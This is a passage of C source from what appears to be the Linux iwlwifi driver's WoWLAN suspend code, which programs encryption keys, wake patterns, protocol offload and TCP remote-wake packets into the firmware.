mvmvif->num_target_ipv6_addrs = idx;
}
#endif
void iwl_mvm_set_default_unicast_key(struct ieee80211_hw *hw,
struct ieee80211_vif *vif, int idx)
{
struct iwl_mvm_vif *mvmvif = iwl_mvm_vif_from_mac80211(vif);
mvmvif->tx_key_idx = idx;
}
static void iwl_mvm_convert_p1k(u16 *p1k, __le16 *out)
{
int i;
for (i = 0; i < IWL_P1K_SIZE; i++)
out[i] = cpu_to_le16(p1k[i]);
}
struct wowlan_key_data {
struct iwl_wowlan_rsc_tsc_params_cmd *rsc_tsc;
struct iwl_wowlan_tkip_params_cmd *tkip;
bool error, use_rsc_tsc, use_tkip;
int wep_key_idx;
};
static void iwl_mvm_wowlan_program_keys(struct ieee80211_hw *hw,
struct ieee80211_vif *vif,
struct ieee80211_sta *sta,
struct ieee80211_key_conf *key,
void *_data)
{
struct iwl_mvm *mvm = IWL_MAC80211_GET_MVM(hw);
struct iwl_mvm_vif *mvmvif = iwl_mvm_vif_from_mac80211(vif);
struct wowlan_key_data *data = _data;
struct aes_sc *aes_sc, *aes_tx_sc = NULL;
struct tkip_sc *tkip_sc, *tkip_tx_sc = NULL;
struct iwl_p1k_cache *rx_p1ks;
u8 *rx_mic_key;
struct ieee80211_key_seq seq;
u32 cur_rx_iv32 = 0;
u16 p1k[IWL_P1K_SIZE];
int ret, i;
mutex_lock(&mvm->mutex);
switch (key->cipher) {
case WLAN_CIPHER_SUITE_WEP40:
case WLAN_CIPHER_SUITE_WEP104: { /* hack it for now */
struct {
struct iwl_mvm_wep_key_cmd wep_key_cmd;
struct iwl_mvm_wep_key wep_key;
} __packed wkc = {
.wep_key_cmd.mac_id_n_color =
cpu_to_le32(FW_CMD_ID_AND_COLOR(mvmvif->id,
mvmvif->color)),
.wep_key_cmd.num_keys = 1,
/* firmware sets STA_KEY_FLG_WEP_13BYTES */
.wep_key_cmd.decryption_type = STA_KEY_FLG_WEP,
.wep_key.key_index = key->keyidx,
.wep_key.key_size = key->keylen,
};
/*
* This will fail -- the key functions don't set support
* pairwise WEP keys. However, that's better than silently
* failing WoWLAN. Or maybe not?
*/
if (key->flags & IEEE80211_KEY_FLAG_PAIRWISE)
break;
memcpy(&wkc.wep_key.key[3], key->key, key->keylen);
if (key->keyidx == mvmvif->tx_key_idx) {
/* TX key must be at offset 0 */
wkc.wep_key.key_offset = 0;
} else {
/* others start at 1 */
data->wep_key_idx++;
wkc.wep_key.key_offset = data->wep_key_idx;
}
ret = iwl_mvm_send_cmd_pdu(mvm, WEP_KEY, CMD_SYNC,
sizeof(wkc), &wkc);
data->error = ret != 0;
mvm->ptk_ivlen = key->iv_len;
mvm->ptk_icvlen = key->icv_len;
mvm->gtk_ivlen = key->iv_len;
mvm->gtk_icvlen = key->icv_len;
/* don't upload key again */
goto out_unlock;
}
default:
data->error = true;
goto out_unlock;
case WLAN_CIPHER_SUITE_AES_CMAC:
/*
* Ignore CMAC keys -- the WoWLAN firmware doesn't support them
* but we also shouldn't abort suspend due to that. It does have
* support for the IGTK key renewal, but doesn't really use the
* IGTK for anything. This means we could spuriously wake up or
* be deauthenticated, but that was considered acceptable.
*/
goto out_unlock;
case WLAN_CIPHER_SUITE_TKIP:
if (sta) {
tkip_sc = data->rsc_tsc->all_tsc_rsc.tkip.unicast_rsc;
tkip_tx_sc = &data->rsc_tsc->all_tsc_rsc.tkip.tsc;
rx_p1ks = data->tkip->rx_uni;
ieee80211_get_key_tx_seq(key, &seq);
tkip_tx_sc->iv16 = cpu_to_le16(seq.tkip.iv16);
tkip_tx_sc->iv32 = cpu_to_le32(seq.tkip.iv32);
ieee80211_get_tkip_p1k_iv(key, seq.tkip.iv32, p1k);
iwl_mvm_convert_p1k(p1k, data->tkip->tx.p1k);
memcpy(data->tkip->mic_keys.tx,
&key->key[NL80211_TKIP_DATA_OFFSET_TX_MIC_KEY],
IWL_MIC_KEY_SIZE);
rx_mic_key = data->tkip->mic_keys.rx_unicast;
} else {
tkip_sc =
data->rsc_tsc->all_tsc_rsc.tkip.multicast_rsc;
rx_p1ks = data->tkip->rx_multi;
rx_mic_key = data->tkip->mic_keys.rx_mcast;
}
/*
* For non-QoS this relies on the fact that both the uCode and
* mac80211 use TID 0 (as they need to to avoid replay attacks)
* for checking the IV in the frames.
*/
for (i = 0; i < IWL_NUM_RSC; i++) {
ieee80211_get_key_rx_seq(key, i, &seq);
tkip_sc[i].iv16 = cpu_to_le16(seq.tkip.iv16);
tkip_sc[i].iv32 = cpu_to_le32(seq.tkip.iv32);
/* wrapping isn't allowed, AP must rekey */
if (seq.tkip.iv32 > cur_rx_iv32)
cur_rx_iv32 = seq.tkip.iv32;
}
ieee80211_get_tkip_rx_p1k(key, vif->bss_conf.bssid,
cur_rx_iv32, p1k);
iwl_mvm_convert_p1k(p1k, rx_p1ks[0].p1k);
ieee80211_get_tkip_rx_p1k(key, vif->bss_conf.bssid,
cur_rx_iv32 + 1, p1k);
iwl_mvm_convert_p1k(p1k, rx_p1ks[1].p1k);
memcpy(rx_mic_key,
&key->key[NL80211_TKIP_DATA_OFFSET_RX_MIC_KEY],
IWL_MIC_KEY_SIZE);
data->use_tkip = true;
data->use_rsc_tsc = true;
break;
case WLAN_CIPHER_SUITE_CCMP:
if (sta) {
u8 *pn = seq.ccmp.pn;
aes_sc = data->rsc_tsc->all_tsc_rsc.aes.unicast_rsc;
aes_tx_sc = &data->rsc_tsc->all_tsc_rsc.aes.tsc;
ieee80211_get_key_tx_seq(key, &seq);
aes_tx_sc->pn = cpu_to_le64((u64)pn[5] |
((u64)pn[4] << 8) |
((u64)pn[3] << 16) |
((u64)pn[2] << 24) |
((u64)pn[1] << 32) |
((u64)pn[0] << 40));
} else {
aes_sc = data->rsc_tsc->all_tsc_rsc.aes.multicast_rsc;
}
/*
* For non-QoS this relies on the fact that both the uCode and
* mac80211 use TID 0 for checking the IV in the frames.
*/
for (i = 0; i < IWL_NUM_RSC; i++) {
u8 *pn = seq.ccmp.pn;
ieee80211_get_key_rx_seq(key, i, &seq);
aes_sc->pn = cpu_to_le64((u64)pn[5] |
((u64)pn[4] << 8) |
((u64)pn[3] << 16) |
((u64)pn[2] << 24) |
((u64)pn[1] << 32) |
((u64)pn[0] << 40));
}
data->use_rsc_tsc = true;
break;
}
/*
* The D3 firmware hardcodes the key offset 0 as the key it uses
* to transmit packets to the AP, i.e. the PTK.
*/
if (key->flags & IEEE80211_KEY_FLAG_PAIRWISE) {
key->hw_key_idx = 0;
mvm->ptk_ivlen = key->iv_len;
mvm->ptk_icvlen = key->icv_len;
} else {
/*
* firmware only supports TSC/RSC for a single key,
* so if there are multiple keep overwriting them
* with new ones -- this relies on mac80211 doing
* list_add_tail().
*/
key->hw_key_idx = 1;
mvm->gtk_ivlen = key->iv_len;
mvm->gtk_icvlen = key->icv_len;
}
ret = iwl_mvm_set_sta_key(mvm, vif, sta, key, true);
data->error = ret != 0;
out_unlock:
mutex_unlock(&mvm->mutex);
}
static int iwl_mvm_send_patterns(struct iwl_mvm *mvm,
struct cfg80211_wowlan *wowlan)
{
struct iwl_wowlan_patterns_cmd *pattern_cmd;
struct iwl_host_cmd cmd = {
.id = WOWLAN_PATTERNS,
.dataflags[0] = IWL_HCMD_DFL_NOCOPY,
.flags = CMD_SYNC,
};
int i, err;
if (!wowlan->n_patterns)
return 0;
cmd.len[0] = sizeof(*pattern_cmd) +
wowlan->n_patterns * sizeof(struct iwl_wowlan_pattern);
pattern_cmd = kmalloc(cmd.len[0], GFP_KERNEL);
if (!pattern_cmd)
return -ENOMEM;
pattern_cmd->n_patterns = cpu_to_le32(wowlan->n_patterns);
for (i = 0; i < wowlan->n_patterns; i++) {
int mask_len = DIV_ROUND_UP(wowlan->patterns[i].pattern_len, 8);
memcpy(&pattern_cmd->patterns[i].mask,
wowlan->patterns[i].mask, mask_len);
memcpy(&pattern_cmd->patterns[i].pattern,
wowlan->patterns[i].pattern,
wowlan->patterns[i].pattern_len);
pattern_cmd->patterns[i].mask_size = mask_len;
pattern_cmd->patterns[i].pattern_size =
wowlan->patterns[i].pattern_len;
}
cmd.data[0] = pattern_cmd;
err = iwl_mvm_send_cmd(mvm, &cmd);
kfree(pattern_cmd);
return err;
}
static int iwl_mvm_send_proto_offload(struct iwl_mvm *mvm,
struct ieee80211_vif *vif)
{
union {
struct iwl_proto_offload_cmd_v1 v1;
struct iwl_proto_offload_cmd_v2 v2;
struct iwl_proto_offload_cmd_v3_small v3s;
struct iwl_proto_offload_cmd_v3_large v3l;
} cmd = {};
struct iwl_host_cmd hcmd = {
.id = PROT_OFFLOAD_CONFIG_CMD,
.flags = CMD_SYNC,
.data[0] = &cmd,
.dataflags[0] = IWL_HCMD_DFL_DUP,
};
struct iwl_proto_offload_cmd_common *common;
u32 enabled = 0, size;
u32 capa_flags = mvm->fw->ucode_capa.flags;
#if IS_ENABLED(CONFIG_IPV6)
struct iwl_mvm_vif *mvmvif = iwl_mvm_vif_from_mac80211(vif);
int i;
if (capa_flags & IWL_UCODE_TLV_FLAGS_NEW_NSOFFL_SMALL ||
capa_flags & IWL_UCODE_TLV_FLAGS_NEW_NSOFFL_LARGE) {
struct iwl_ns_config *nsc;
struct iwl_targ_addr *addrs;
int n_nsc, n_addrs;
int c;
if (capa_flags & IWL_UCODE_TLV_FLAGS_NEW_NSOFFL_SMALL) {
nsc = cmd.v3s.ns_config;
n_nsc = IWL_PROTO_OFFLOAD_NUM_NS_CONFIG_V3S;
addrs = cmd.v3s.targ_addrs;
n_addrs = IWL_PROTO_OFFLOAD_NUM_IPV6_ADDRS_V3S;
} else {
nsc = cmd.v3l.ns_config;
n_nsc = IWL_PROTO_OFFLOAD_NUM_NS_CONFIG_V3L;
addrs = cmd.v3l.targ_addrs;
n_addrs = IWL_PROTO_OFFLOAD_NUM_IPV6_ADDRS_V3L;
}
if (mvmvif->num_target_ipv6_addrs)
enabled |= IWL_D3_PROTO_OFFLOAD_NS;
/*
* For each address we have (and that will fit) fill a target
* address struct and combine for NS offload structs with the
* solicited node addresses.
*/
for (i = 0, c = 0;
i < mvmvif->num_target_ipv6_addrs &&
i < n_addrs && c < n_nsc; i++) {
struct in6_addr solicited_addr;
int j;
addrconf_addr_solict_mult(&mvmvif->target_ipv6_addrs[i],
&solicited_addr);
for (j = 0; j < c; j++)
if (ipv6_addr_cmp(&nsc[j].dest_ipv6_addr,
&solicited_addr) == 0)
break;
if (j == c)
c++;
addrs[i].addr = mvmvif->target_ipv6_addrs[i];
addrs[i].config_num = cpu_to_le32(j);
nsc[j].dest_ipv6_addr = solicited_addr;
memcpy(nsc[j].target_mac_addr, vif->addr, ETH_ALEN);
}
if (capa_flags & IWL_UCODE_TLV_FLAGS_NEW_NSOFFL_SMALL)
cmd.v3s.num_valid_ipv6_addrs = cpu_to_le32(i);
else
cmd.v3l.num_valid_ipv6_addrs = cpu_to_le32(i);
} else if (capa_flags & IWL_UCODE_TLV_FLAGS_D3_6_IPV6_ADDRS) {
if (mvmvif->num_target_ipv6_addrs) {
enabled |= IWL_D3_PROTO_OFFLOAD_NS;
memcpy(cmd.v2.ndp_mac_addr, vif->addr, ETH_ALEN);
}
BUILD_BUG_ON(sizeof(cmd.v2.target_ipv6_addr[0]) !=
sizeof(mvmvif->target_ipv6_addrs[0]));
for (i = 0; i < min(mvmvif->num_target_ipv6_addrs,
IWL_PROTO_OFFLOAD_NUM_IPV6_ADDRS_V2); i++)
memcpy(cmd.v2.target_ipv6_addr[i],
&mvmvif->target_ipv6_addrs[i],
sizeof(cmd.v2.target_ipv6_addr[i]));
} else {
if (mvmvif->num_target_ipv6_addrs) {
enabled |= IWL_D3_PROTO_OFFLOAD_NS;
memcpy(cmd.v1.ndp_mac_addr, vif->addr, ETH_ALEN);
}
BUILD_BUG_ON(sizeof(cmd.v1.target_ipv6_addr[0]) !=
sizeof(mvmvif->target_ipv6_addrs[0]));
for (i = 0; i < min(mvmvif->num_target_ipv6_addrs,
IWL_PROTO_OFFLOAD_NUM_IPV6_ADDRS_V1); i++)
memcpy(cmd.v1.target_ipv6_addr[i],
&mvmvif->target_ipv6_addrs[i],
sizeof(cmd.v1.target_ipv6_addr[i]));
}
#endif
if (capa_flags & IWL_UCODE_TLV_FLAGS_NEW_NSOFFL_SMALL) {
common = &cmd.v3s.common;
size = sizeof(cmd.v3s);
} else if (capa_flags & IWL_UCODE_TLV_FLAGS_NEW_NSOFFL_LARGE) {
common = &cmd.v3l.common;
size = sizeof(cmd.v3l);
} else if (capa_flags & IWL_UCODE_TLV_FLAGS_D3_6_IPV6_ADDRS) {
common = &cmd.v2.common;
size = sizeof(cmd.v2);
} else {
common = &cmd.v1.common;
size = sizeof(cmd.v1);
}
if (vif->bss_conf.arp_addr_cnt) {
enabled |= IWL_D3_PROTO_OFFLOAD_ARP;
common->host_ipv4_addr = vif->bss_conf.arp_addr_list[0];
memcpy(common->arp_mac_addr, vif->addr, ETH_ALEN);
}
if (!enabled)
return 0;
common->enabled = cpu_to_le32(enabled);
hcmd.len[0] = size;
return iwl_mvm_send_cmd(mvm, &hcmd);
}
enum iwl_mvm_tcp_packet_type {
MVM_TCP_TX_SYN,
MVM_TCP_RX_SYNACK,
MVM_TCP_TX_DATA,
MVM_TCP_RX_ACK,
MVM_TCP_RX_WAKE,
MVM_TCP_TX_FIN,
};
static __le16 pseudo_hdr_check(int len, __be32 saddr, __be32 daddr)
{
__sum16 check = tcp_v4_check(len, saddr, daddr, 0);
return cpu_to_le16(be16_to_cpu((__force __be16)check));
}
static void iwl_mvm_build_tcp_packet(struct ieee80211_vif *vif,
struct cfg80211_wowlan_tcp *tcp,
void *_pkt, u8 *mask,
__le16 *pseudo_hdr_csum,
enum iwl_mvm_tcp_packet_type ptype)
{
struct {
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
u8 data[];
} __packed *pkt = _pkt;
u16 ip_tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
int i;
pkt->eth.h_proto = cpu_to_be16(ETH_P_IP),
pkt->ip.version = 4;
pkt->ip.ihl = 5;
pkt->ip.protocol = IPPROTO_TCP;
switch (ptype) {
case MVM_TCP_TX_SYN:
case MVM_TCP_TX_DATA:
case MVM_TCP_TX_FIN:
memcpy(pkt->eth.h_dest, tcp->dst_mac, ETH_ALEN);
memcpy(pkt->eth.h_source, vif->addr, ETH_ALEN);
pkt->ip.ttl = 128;
pkt->ip.saddr = tcp->src;
pkt->ip.daddr = tcp->dst;
pkt->tcp.source = cpu_to_be16(tcp->src_port);
pkt->tcp.dest = cpu_to_be16(tcp->dst_port);
/* overwritten for TX SYN later */
pkt->tcp.doff = sizeof(struct tcphdr) / 4;
pkt->tcp.window = cpu_to_be16(65000);
break;
case MVM_TCP_RX_SYNACK:
case MVM_TCP_RX_ACK:
case MVM_TCP_RX_WAKE:
memcpy(pkt->eth.h_dest, vif->addr, ETH_ALEN);
memcpy(pkt->eth.h_source, tcp->dst_mac, ETH_ALEN);
pkt->ip.saddr = tcp->dst;
pkt->ip.daddr = tcp->src;
pkt->tcp.source = cpu_to_be16(tcp->dst_port);
pkt->tcp.dest = cpu_to_be16(tcp->src_port);
break;
default:
WARN_ON(1);
return;
}
switch (ptype) {
case MVM_TCP_TX_SYN:
/* firmware assumes 8 option bytes - 8 NOPs for now */
memset(pkt->data, 0x01, 8);
ip_tot_len += 8;
pkt->tcp.doff = (sizeof(struct tcphdr) + 8) / 4;
pkt->tcp.syn = 1;
break;
case MVM_TCP_TX_DATA:
ip_tot_len += tcp->payload_len;
memcpy(pkt->data, tcp->payload, tcp->payload_len);
pkt->tcp.psh = 1;
pkt->tcp.ack = 1;
break;
case MVM_TCP_TX_FIN:
pkt->tcp.fin = 1;
pkt->tcp.ack = 1;
break;
case MVM_TCP_RX_SYNACK:
pkt->tcp.syn = 1;
pkt->tcp.ack = 1;
break;
case MVM_TCP_RX_ACK:
pkt->tcp.ack = 1;
break;
case MVM_TCP_RX_WAKE:
ip_tot_len += tcp->wake_len;
pkt->tcp.psh = 1;
pkt->tcp.ack = 1;
memcpy(pkt->data, tcp->wake_data, tcp->wake_len);
break;
}
switch (ptype) {
case MVM_TCP_TX_SYN:
case MVM_TCP_TX_DATA:
case MVM_TCP_TX_FIN:
pkt->ip.tot_len = cpu_to_be16(ip_tot_len);
pkt->ip.check = ip_fast_csum(&pkt->ip, pkt->ip.ihl);
break;
case MVM_TCP_RX_WAKE:
for (i = 0; i < DIV_ROUND_UP(tcp->wake_len, 8); i++) {
u8 tmp = tcp->wake_mask[i];
mask[i + 6] |= tmp << 6;
if (i + 1 < DIV_ROUND_UP(tcp->wake_len, 8))
mask[i + 7] = tmp >> 2;
}
/* fall through for ethernet/IP/TCP headers mask */
case MVM_TCP_RX_SYNACK:
case MVM_TCP_RX_ACK:
mask[0] = 0xff; /* match ethernet */
/*
* match ethernet, ip.version, ip.ihl
* the ip.ihl half byte is really masked out by firmware
*/
mask[1] = 0x7f;
mask[2] = 0x80; /* match ip.protocol */
mask[3] = 0xfc; /* match ip.saddr, ip.daddr */
mask[4] = 0x3f; /* match ip.daddr, tcp.source, tcp.dest */
mask[5] = 0x80; /* match tcp flags */
/* leave rest (0 or set for MVM_TCP_RX_WAKE) */
break;
};
*pseudo_hdr_csum = pseudo_hdr_check(ip_tot_len - sizeof(struct iphdr),
pkt->ip.saddr, pkt->ip.daddr);
}
static int iwl_mvm_send_remote_wake_cfg(struct iwl_mvm *mvm,
struct ieee80211_vif *vif,
struct cfg80211_wowlan_tcp *tcp)
{
struct iwl_wowlan_remote_wake_config *cfg;
struct iwl_host_cmd cmd = {
.id = REMOTE_WAKE_CONFIG_CMD,
.len = { sizeof(*cfg), },
.dataflags = { IWL_HCMD_DFL_NOCOPY, },
.flags = CMD_SYNC,
};
int ret;
if (!tcp)
return 0;
cfg = kzalloc(sizeof(*cfg), GFP_KERNEL);
if (!cfg)
return -ENOMEM;
cmd.data[0] = cfg;
cfg->max_syn_retries = 10;
cfg->max_data_retries = 10;
cfg->tcp_syn_ack_timeout = 1; /* seconds */
cfg->tcp_ack_timeout = 1; /* seconds */
/* SYN (TX) */
iwl_mvm_build_tcp_packet(
vif, tcp, cfg->syn_tx.data, NULL,
&cfg->syn_tx.info.tcp_pseudo_header_checksum,
MVM_TCP_TX_SYN);
cfg->syn_tx.info.tcp_payload_length = 0;
/* SYN/ACK (RX) */
iwl_mvm_build_tcp_packet(
vif, tcp, cfg->synack_rx.data, cfg->synack_rx.rx_mask,
&cfg->synack_rx.info.tcp_pseudo_header_checksum,
MVM_TCP_RX_SYNACK);
cfg->synack_rx.info.tcp_payload_length = 0;
/* KEEPALIVE/ACK (TX) */
iwl_mvm_build_tcp_packet(
vif, tcp, cfg->keepalive_tx.data, NULL,
&cfg->keepalive_tx.info.tcp_pseudo_header_checksum,
MVM_TCP_TX_DATA);
cfg->keepalive_tx.info.tcp_payload_length =
cpu_to_le16(tcp->payload_len);
cfg->sequence_number_offset = tcp->payload_seq.offset;
/* length must be 0..4, the field is little endian */
cfg->sequence_number_length = tcp->payload_seq.len;
cfg->initial_sequence_number = cpu_to_le32(tcp->payload_seq.start);
cfg->keepalive_interval = cpu_to_le16(tcp->data_interval);
if (tcp->payload_tok.len) {
cfg->token_offset = tcp->payload_tok.offset;
cfg->token_length = tcp->payload_tok.len;
cfg->num_tokens =
cpu_to_le16(tcp->tokens_size % tcp->payload_tok.len);
memcpy(cfg->tokens, tcp->payload_tok.token_stream,
tcp->tokens_size);
} else {
/* set tokens to max value to almost never run out */
cfg->num_tokens = cpu_to_le16(65535);
}
/* ACK (RX) */
iwl_mvm_build_tcp_packet(
vif, tcp, cfg->keepalive_ack_rx.data,
cfg->keepalive_ack_rx.rx_mask,
&cfg->keepalive_ack_rx.info.tcp_pseudo_header_checksum,
MVM_TCP_RX_ACK);
cfg->keepalive_ack_rx.info.tcp_payload_length = 0;
/* WAKEUP (RX) */
iwl_mvm_build_tcp_packet(
vif, tcp, cfg->wake_rx.data, cfg->wake_rx.rx_mask,
&cfg->wake_rx.info.tcp_pseudo_header_checksum,
MVM_TCP_RX_WAKE);
cfg->wake_rx.info.tcp_payload_length =
cpu_to_le16(tcp->wake_len);
/* FIN */
iwl_mvm_build_tcp_packet(
vif, tcp, cfg->fin_tx.data, NULL,
&cfg->fin_tx.info.tcp_pseudo_header_checksum,
MVM_TCP_TX_FIN);
cfg->fin_tx.info.tcp_payload_length = 0;
ret = iwl_mvm_send_cmd(mvm, &cmd);
kfree(cfg);
return ret;
}
struct iwl_d3_iter_data {
struct iwl_mvm *mvm;
struct ieee80211_vif *vif;
bool error;
};
static void iwl_mvm_d3_iface_iterator(void *_data, u8 *mac,
struct ieee80211_vif *vif)
{
struct iwl_d3_iter_data *data = _data;
struct iwl_mvm_vif *mvmvif = iwl_mvm_vif_from_mac80211(vif);
if (vif->type != NL80211_IFTYPE_STATION || vif->p2p)
return;
if (mvmvif->ap_sta_id == IWL_MVM_STATION_COUNT)
return;
if (data->vif) {
IWL_ERR(data->mvm, "More than one managed interface active!\n");
data->error = true;
return;
}
data->vif = vif;
}
static int iwl_mvm_d3_reprogram(struct iwl_mvm *mvm, struct ieee80211_vif *vif,
struct ieee80211_sta *ap_sta)
{
struct iwl_mvm_vif *mvmvif = iwl_mvm_vif_from_mac80211(vif);
struct ieee80211_chanctx_conf *ctx;
u8 chains_static, chains_dynamic;
struct cfg80211_chan_def chandef;
int ret, i;
struct iwl_binding_cmd binding_cmd = {};
struct iwl_time_quota_cmd quota_cmd = {};
u32 status;
/* add back the PHY */
if (WARN_ON(!mvmvif->phy_ctxt))
return -EINVAL;
rcu_read_lock();
ctx = rcu_dereference(vif->chanctx_conf);
if (WARN_ON(!ctx)) {
rcu_read_unlock();
return -EINVAL;
}
chandef = ctx->def;
chains_static = ctx->rx_chains_static;
chains_dynamic = ctx->rx_chains_dynamic;
rcu_read_unlock();
ret = iwl_mvm_phy_ctxt_add(mvm, mvmvif->phy_ctxt, &chandef,
chains_static, chains_dynamic);
if (ret)
return ret;
/* add back the MAC */
mvmvif->uploaded = false;
if (WARN_ON(!vif->bss_conf.assoc))
return -EINVAL;
/* hack */
vif->bss_conf.assoc = false;
ret = iwl_mvm_mac_ctxt_add(mvm, vif);
vif->bss_conf.assoc = true;
if (ret)
return ret;
/* add back binding - XXX refactor? */
binding_cmd.id_and_color =
cpu_to_le32(FW_CMD_ID_AND_COLOR(mvmvif->phy_ctxt->id,
mvmvif->phy_ctxt->color));
binding_cmd.action = cpu_to_le32(FW_CTXT_ACTION_ADD);
binding_cmd.phy =
cpu_to_le32(FW_CMD_ID_AND_COLOR(mvmvif->phy_ctxt->id,
mvmvif->phy_ctxt->color));
binding_cmd.macs[0] = cpu_to_le32(FW_CMD_ID_AND_COLOR(mvmvif->id,
mvmvif->color));
for (i = 1; i < MAX_MACS_IN_BINDING; i++)
binding_cmd.macs[i] = cpu_to_le32(FW_CTXT_INVALID);
status = 0;
ret = iwl_mvm_send_cmd_pdu_status(mvm, BINDING_CONTEXT_CMD,
sizeof(binding_cmd), &binding_cmd,
&status);
if (ret) {
IWL_ERR(mvm, "Failed to add binding: %d\n", ret);
return ret;
}
if (status) {
IWL_ERR(mvm, "Binding command failed: %u\n", status);
return -EIO;
}
ret = iwl_mvm_sta_send_to_fw(mvm, ap_sta, false);
if (ret)
return ret;
rcu_assign_pointer(mvm->fw_id_to_mac_id[mvmvif->ap_sta_id], ap_sta);
ret = iwl_mvm_mac_ctxt_changed(mvm, vif);
if (ret)
return ret;
/* and some quota */
quota_cmd.quotas[0].id_and_color =
cpu_to_le32(FW_CMD_ID_AND_COLOR(mvmvif->phy_ctxt->id,
mvmvif->phy_ctxt->color));
quota_cmd.quotas[0].quota = cpu_to_le32(100);
quota_cmd.quotas[0].max_duration = cpu_to_le32(1000);
for (i = 1; i < MAX_BINDINGS; i++)
quota_cmd.quotas[i].id_and_color = cpu_to_le32(FW_CTXT_INVALID);
ret = iwl_mvm_send_cmd_pdu(mvm, TIME_QUOTA_CMD, CMD_SYNC,
sizeof(quota_cmd), "a_cmd);
if (ret)
IWL_ERR(mvm, "Failed to send quota: %d\n", ret);
return 0;
}
static int iwl_mvm_get_last_nonqos_seq(struct iwl_mvm *mvm,
struct ieee80211_vif *vif)
{
struct iwl_mvm_vif *mvmvif = iwl_mvm_vif_from_mac80211(vif);
struct iwl_nonqos_seq_query_cmd query_cmd = {
.get_set_flag = cpu_to_le32(IWL_NONQOS_SEQ_GET),
.mac_id_n_color =
cpu_to_le32(FW_CMD_ID_AND_COLOR(mvmvif->id,
mvmvif->color)),
};
struct iwl_host_cmd cmd = {
.id = NON_QOS_TX_COUNTER_CMD,
.flags = CMD_SYNC | CMD_WANT_SKB,
};
int err;
u32 size;
if (mvm->fw->ucode_capa.flags & IWL_UCODE_TLV_FLAGS_D3_CONTINUITY_API) {
cmd.data[0] = &query_cmd;
cmd.len[0] = sizeof(query_cmd);
}
err = iwl_mvm_send_cmd(mvm, &cmd);
if (err)
return err;
size = le32_to_cpu(cmd.resp_pkt->len_n_flags) & FH_RSCSR_FRAME_SIZE_MSK;
size -= sizeof(cmd.resp_pkt->hdr);
if (size < sizeof(__le16)) {
err = -EINVAL;
} else {
err = le16_to_cpup((__le16 *)cmd.resp_pkt->data);
/* new API returns next, not last-used seqno */
if (mvm->fw->ucode_capa.flags &
IWL_UCODE_TLV_FLAGS_D3_CONTINUITY_API)
err = (u16) (err - 0x10);
}
iwl_free_resp(&cmd);
return err;
}
void iwl_mvm_set_last_nonqos_seq(struct iwl_mvm *mvm, struct ieee80211_vif *vif)
{
struct iwl_mvm_vif *mvmvif = iwl_mvm_vif_from_mac80211(vif);
struct iwl_nonqos_seq_query_cmd query_cmd = {
.get_set_flag = cpu_to_le32(IWL_NONQOS_SEQ_SET),
.mac_id_n_color =
cpu_to_le32(FW_CMD_ID_AND_COLOR(mvmvif->id,
mvmvif->color)),
.value = cpu_to_le16(mvmvif->seqno),
};
/* return if called during restart, not resume from D3 */
if (!mvmvif->seqno_valid)
return;
mvmvif->seqno_valid = false;
if (!(mvm->fw->ucode_capa.flags &
IWL_UCODE_TLV_FLAGS_D3_CONTINUITY_API))
return;
if (iwl_mvm_send_cmd_pdu(mvm, NON_QOS_TX_COUNTER_CMD, CMD_SYNC,
sizeof(query_cmd), &query_cmd))
IWL_ERR(mvm, "failed to set non-QoS seqno\n");
}
static int __iwl_mvm_suspend(struct ieee80211_hw *hw,
struct cfg80211_wowlan *wowlan,
bool test)
{
struct iwl_mvm *mvm = IWL_MAC80211_GET_MVM(hw);
struct iwl_d3_iter_data suspend_iter_data = {
.mvm = mvm,
};
struct ieee80211_vif *vif;
struct iwl_mvm_vif *mvmvif;
struct ieee80211_sta *ap_sta;
struct iwl_mvm_sta *mvm_ap_sta;
struct iwl_wowlan_config_cmd wowlan_config_cmd = {};
struct iwl_wowlan_kek_kck_material_cmd kek_kck_cmd = {};
struct iwl_wowlan_tkip_params_cmd tkip_cmd = {};
struct iwl_d3_manager_config d3_cfg_cmd_data = {
/*
* Program the minimum sleep time to 10 seconds, as many
* platforms have issues processing a wakeup signal while
* still being in the process of suspending.
*/
.min_sleep_time = cpu_to_le32(10 * 1000 * 1000),
};
struct iwl_host_cmd d3_cfg_cmd = {
.id = D3_CONFIG_CMD,
.flags = CMD_SYNC | CMD_WANT_SKB,
.data[0] = &d3_cfg_cmd_data,
.len[0] = sizeof(d3_cfg_cmd_data),
};
struct wowlan_key_data key_data = {
.use_rsc_tsc = false,
.tkip = &tkip_cmd,
.use_tkip = false,
};
int ret, i;
int len __maybe_unused;
u8 old_aux_sta_id, old_ap_sta_id = IWL_MVM_STATION_COUNT;
if (!wowlan) {
/*
* mac80211 shouldn't get here, but for D3 test
* it doesn't warrant a warning
*/
WARN_ON(!test);
return -EINVAL;
}
key_data.rsc_tsc = kzalloc(sizeof(*key_data.rsc_tsc), GFP_KERNEL);
if (!key_data.rsc_tsc)
return -ENOMEM;
mutex_lock(&mvm->mutex);
old_aux_sta_id = mvm->aux_sta.sta_id;
/* see if there's only a single BSS vif and it's associated */
ieee80211_iterate_active_interfaces_atomic(
mvm->hw, IEEE80211_IFACE_ITER_NORMAL,
iwl_mvm_d3_iface_iterator, &suspend_iter_data);
if (suspend_iter_data.error || !suspend_iter_data.vif) {
ret = 1;
goto out_noreset;
}
vif = suspend_iter_data.vif;
mvmvif = iwl_mvm_vif_from_mac80211(vif);
ap_sta = rcu_dereference_protected(
mvm->fw_id_to_mac_id[mvmvif->ap_sta_id],
lockdep_is_held(&mvm->mutex));
if (IS_ERR_OR_NULL(ap_sta)) {
ret = -EINVAL;
goto out_noreset;
}
mvm_ap_sta = (struct iwl_mvm_sta *)ap_sta->drv_priv;
/* TODO: wowlan_config_cmd.wowlan_ba_teardown_tids */
wowlan_config_cmd.is_11n_connection = ap_sta->ht_cap.ht_supported;
/* Query the last used seqno and set it */
ret = iwl_mvm_get_last_nonqos_seq(mvm, vif);
if (ret < 0)
goto out_noreset;
wowlan_config_cmd.non_qos_seq = cpu_to_le16(ret);
/*
* For QoS counters, we store the one to use next, so subtract 0x10
* since the uCode will add 0x10 *before* using the value while we
* increment after using the value (i.e. store the next value to use).
*/
for (i = 0; i < IWL_MAX_TID_COUNT; i++) {
u16 seq = mvm_ap_sta->tid_data[i].seq_number;
seq -= 0x10;
wowlan_config_cmd.qos_seq[i] = cpu_to_le16(seq);
}
if (wowlan->disconnect)
wowlan_config_cmd.wakeup_filter |=
cpu_to_le32(IWL_WOWLAN_WAKEUP_BEACON_MISS |
IWL_WOWLAN_WAKEUP_LINK_CHANGE);
if (wowlan->magic_pkt)
wowlan_config_cmd.wakeup_filter |=
